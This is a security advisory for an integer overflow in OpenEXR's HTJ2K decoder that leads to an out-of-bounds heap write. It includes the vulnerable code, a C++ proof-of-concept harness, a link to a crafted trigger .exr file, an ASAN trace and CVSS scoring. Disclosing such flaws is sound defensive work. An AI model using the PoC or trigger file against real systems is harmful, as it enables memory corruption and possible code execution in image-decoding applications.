integer overflow lead to OOB in HTJ2K decoder

High **cary-ilm** published **GHSA-ghfj-fx47-wg97** 2 weeks ago

Package

internal_ht.cpp

Affected versions

3.4.0-3.4.6

Patched versions

3.4.7

Description

Summary

The HTJ2K decoder in OpenEXR uses int16_t as the loop counter when copying decompressed samples from OpenJPH buffers into the EXR output buffer. The channel width, however, is stored as int32_t and is never bounded to INT16_MAX.

When the chunk width reaches 32768, the counter `p` overflows from 32767 to -32768 on the next increment. The loop condition `p < width` remains true (after integer promotion), so the loop continues with a negative index, simultaneously causing:

1. an out-of-bounds read from `cur_line->i32[-32768]`
2. an out-of-bounds write to `channel_pixels` already pointing one element past the end of the output buffer

ASAN confirms a `WRITE of size 2` at exactly `0 bytes to the right` of the 65536-byte output buffer. The overflow is deterministic, triggered by a standards-compliant EXR file header.

Vulnerable path code

- internal_exr_undo_ht() (internal_ht.cpp:334)

```
extern "C" exr_result_t
internal_exr_undo_ht (
    exr_decode_pipeline_t* decode,
```

```
    const void*             compressed_data,
    uint64_t                comp_buf_size,
    void*                   uncompressed_data,
    uint64_t                uncompressed_size)
{
    try
    {
        return ht_undo_impl (decode, compressed_data, comp_buf_size,
                             uncompressed_data, uncompressed_size);
    }
```

This is the function called by the EXR decoder. It immediately delegates to ht_undo_impl(). The try/catch block encompasses everything, which means that the heap-buffer-overflow will not raise an exception: it will silently corrupt the memory before anything can be intercepted.

- is_planar() (internal_ht.cpp:230)

```
if (cs.is_planar ())
{
    for (int16_t c = 0; c < decode->channel_count; c++)
    {
```

Depending on whether the codestream is planar or not, two distinct paths are taken. Both are vulnerable, but for readability reasons, we follow the non-planar path here (the one triggered by the PoC, which causes the ASAN crash).

- loop line per line (internal_ht.cpp:295

```
uint8_t* line_pixels = static_cast<uint8_t*> (uncompressed_data);

    for (uint32_t y = 0; y < image_height; ++y)
    {
        for (int16_t c = 0; c < decode->channel_count; c++)
        {
            int file_c = cs_to_file_ch[c].file_index;
            cur_line   = cs.pull (next_comp);
```

For each line y of the image, and for each channel c, we retrieve a decompressed line cur_line from the OpenJPH decoder. The pointer channel_pixels points to the output buffer uncompressed_data at the offset of the current channel.

- Vulnerable loop (internal_ht.cpp:307)

```
if (decode->channels[file_c].data_type == EXR_PIXEL_HALF)
            {
                int16_t* channel_pixels =
                    (int16_t*) (line_pixels + cs_to_file_ch[c].raster_line_offset);
                for (int16_t p = 0; p < decode->channels[file_c].width;
                     p++)
```

```
                {
                    *channel_pixels++ = cur_line->i32[p];
                }
            }
```

The counter `p` is declared as `int16_t`. It is compared to `decode->channels[file_c].width`, which is `int32_t` and has a value of 32768 in this case.
The output buffer is exactly 32768 × 1 × 2 = 65536 bytes. The first out-of-bounds write occurs at the address output.data() + 65536.

- Fun fact (internal_ht.cpp:455)
  What makes the bug particularly striking is that the ht_apply_impl() encoding path uses int32_t correctly for exactly the same loops

```
for (int32_t p = 0; p < encode->channels[file_c].width; p++)
{
    cur_line->i32[p] = *channel_pixels++;
}
```

The fix has therefore already been applied on the encoding side but not on the decoding side.

PoC

The PoC directly calls `internal_exr_undo_ht()` :

```
#include <cstdint>
#include <cstdio>
#include <vector>

#include "openexr_decode.h"
#include "internal_ht_common.h"
#include <openjph/ojph_arch.h>

extern "C" exr_result_t internal_exr_undo_ht(
    exr_decode_pipeline_t*, const void*, uint64_t, void*, uint64_t);

int main(int argc, char** argv) {
    FILE* f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END);
    std::vector<uint8_t> data(ftell(f));
    rewind(f);
    fread(data.data(), 1, data.size(), f);
    fclose(f);

    auto u32 = [&](size_t p) {
        return (uint32_t)data[p] | ((uint32_t)data[p+1]<<8)
                                 | ((uint32_t)data[p+2]<<16)
                                 | ((uint32_t)data[p+3]<<24);
    };
    auto u64 = [&](size_t p) {
```

```
        return (uint64_t)u32(p) | ((uint64_t)u32(p+4)<<32);
    };

    uint64_t       off   = u64(0x146);
    uint32_t       csize = u32(off + 4);
    const uint8_t* cdata = data.data() + off + 8;

    constexpr int32_t W = 32768, H = 32;
    ojph::g_test_width = W; ojph::g_test_height = H; ojph::g_test_components = 1;

    exr_coding_channel_info_t ch = {};
    ch.channel_name      = "Y";
    ch.width             = W;  ch.height         = H;
    ch.x_samples         = 1;  ch.y_samples      = 1;
    ch.bytes_per_element = 2;  ch.data_type      = EXR_PIXEL_HALF;

    exr_decode_pipeline_t dec = {};
    dec.channels      = &ch; dec.channel_count = 1;
    dec.chunk.width   = W;   dec.chunk.height  = H;

    std::vector<uint8_t> out(W * H * 2); // 65536 bytes

    // ASAN : WRITE of size 2
    internal_exr_undo_ht(&dec, cdata, csize, out.data(), out.size());
}
```

The script compiles `internal_ht.cpp` and `internal_ht_common.cpp` from the real repository with `-fsanitize=address,undefined`.

- Trigger file : https://github.com/nicoppida/sample-file/blob/main/htj2k_width_32768_poc.exr

ASAN Trace

```
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fbcfb083800 at
0x55b4fa5d61f1 bp 0x7fffac6fb290 sp 0x7fffac6fb280
WRITE of size 2 at 0x7fbcfb083800 thread T0
    #0 0x55b4fa5d61f0 in ht_undo_impl openexr/src/lib/OpenEXRCore/internal_ht.cpp:310
    #1 0x55b4fa5d61f0 in internal_exr_undo_ht
openexr/src/lib/OpenEXRCore/internal_ht.cpp:343
    #2 0x55b4fa5d239f in main poc/min.cpp:49
    #3 0x7fbcfdc31d8f in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7fbcfdc31e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #5 0x55b4fa5d1804 in _start (poc_asan+0x23804)

0x7fbcfb083800 is located 0 bytes to the right of 2097152-byte region
[0x7fbcfae83800,0x7fbcfb083800)
allocated by thread T0 here:
    #0 0x7fbcfe84f1e7 in operator new(unsigned long)
    #1 std::vector<unsigned char>::vector(unsigned long) poc/min.cpp:46

SUMMARY: AddressSanitizer: heap-buffer-overflow
```

```
openexr/src/lib/OpenEXRCore/internal_ht.cpp:310 in ht_undo_impl
Shadow bytes around the buggy address:
  0x0ff81f6086f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff81f608700:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff81f608710: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

Impact

An attacker providing a crafted `.exr` file with HTJ2K compression and a channel width of 32768 can write controlled data beyond the output heap buffer in any application that decodes EXR images. The write primitive is 2 bytes per overflow iteration or 4 bytes (by another path), repeating for each additional pixel past the overflow point. In this context, a heap write overflow can lead to remote code execution on systems.

Severity

High 8.4 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Local
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	Active
Vulnerable System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-34545

Weaknesses

- CWE-122
- CWE-190

Credits

nicoppida Reporter